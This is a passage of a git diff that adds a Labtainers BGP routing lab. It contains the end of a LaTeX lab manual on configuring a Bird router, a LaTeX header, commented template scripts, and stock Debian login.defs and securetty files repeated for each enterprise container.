point-to-point ethernet links. +Each of these links has a network tap that forwards copies of traffic to the {\tt netmon} component (not pictured), +which collects network traffic in files within its {\tt /taps} directory. + +Note that E2 and E5 share router R2. This might reflect that R2 belongs to an ISP, whose customers include +enterprise E2 and enterprise E5. + +\begin{figure}[H] +\begin{center} +\includegraphics [width=0.8\linewidth]{topo.png} +\end{center} +\caption{BGP Routing Topology} +\label{fig:topology} +\end{figure} + +\section{Tasks} + +\subsection{Explore} +The following items (among other), are available to explore the network: +\begin{itemize} +\item Wireshark and tcpdump are installed on the {\tt netmon} computer, use them to review the PCAP files found in +the {\tt /taps} directory. When using Wireshark, if you encounter black or otherwise corrupt pulldown windows, try resizing the window, +or restarting the application. The {\tt ctrl-r} key sequence will cause Wireshark to reload the PCAP file that is +currently being viewed, i.e., to see the latest traffic. +\item The {\tt traceroute} program is install on each enterprise computer. Use that to observe the routes that +traffic may take between different enterprise computers. +\item Each router includes the Bird client, which you can start using {\tt sudo birdc}. Use it to view routes and +protocol definitions. Bird is configured via use of configuration files found at {\tt /usr/local/etc/bird.conf}. +The bird service runs under systemd. If you modify a configuration file, you may rstart bird using {\tt systemctl restart +bird}. +\end{itemize} + +\subsection{Configure routers for R4} +By now you should have noticed that E4 cannot be reached from the other enterprise computers. If not, go back and +explore! + +You are the network administrator for E4, and your task is to configure its router so that it will announce +the route to E4 to the other routers. All the other routers are already configured to talk to R4, so you need +not modify their configurations. Use the Bird user guide and the existing bird.conf files as examples +to modify the R4 bird.conf file. + +To demonstration you have configured R4, you must successfully ping E1, E2 and E3 from E4. + +Use Wireshark to observe the BGP routing information propagate to the other routers. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/header.tex new file mode 100644 index 000000000..041ae038d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/header.tex @@ -0,0 +1,120 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under sponsorship from + the DoD CySP program. This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/read_first.txt new file mode 100644 index 000000000..5a47ec03e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/read_first.txt @@ -0,0 +1,10 @@ +BORDER GATEWAY PROTOCOL LAB -- Read this first + +The lab manual for this lab is at: + file://LAB_MANUAL +The Bird router user guide is at: + file://LAB_DOCS/bird.pdf + + +Review the entire lab manual before proceeding with the lab. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/topo.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/topo.odg new file mode 100644 index 000000000..d65e7888b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/topo.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/topo.png b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/topo.png new file mode 100644 index 000000000..83048d655 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/docs/topo.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used 